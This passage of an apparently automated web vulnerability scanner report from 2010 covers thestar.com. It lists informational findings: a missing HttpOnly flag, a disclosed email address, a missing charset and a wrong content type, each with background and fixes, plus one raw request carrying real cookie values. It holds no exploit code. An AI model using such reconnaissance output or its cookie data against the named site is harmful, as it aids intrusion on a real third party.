The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

Response

5. Email addresses disclosed previous next
There are 2 instances of this issue:

/
/searchresults

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

5.1. http://www.thestar.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thestar.com
Path:	/

Issue detail

The following email address was disclosed in the response:

publiced@thestar.ca

Request

Response

5.2. http://www.thestar.com/searchresults previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thestar.com
Path:	/searchresults

Issue detail

The following email address was disclosed in the response:

publiced@thestar.ca

Request

Response

6. HTML does not specify charset previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thestar.com
Path:	/xd_receiver.htm

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

Response

7. Content type incorrectly stated previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.thestar.com
Path:	/includes/columnist

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain XML.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /includes/columnist?Query=FullCategory%3A%22/News%22 HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: http://www.thestar.com/
Accept: text/html, */*; q=0.01
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]; __utma=129518793.178290496.1290230241.1290230241.1290230241.1; __utmb=129518793.1.10.1290230241; __utmc=129518793; __utmz=129518793.1290230248.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=toronto%20top%20newspapers

Response

Report generated by XSS.CX at Sat Nov 20 14:22:37 CST 2010.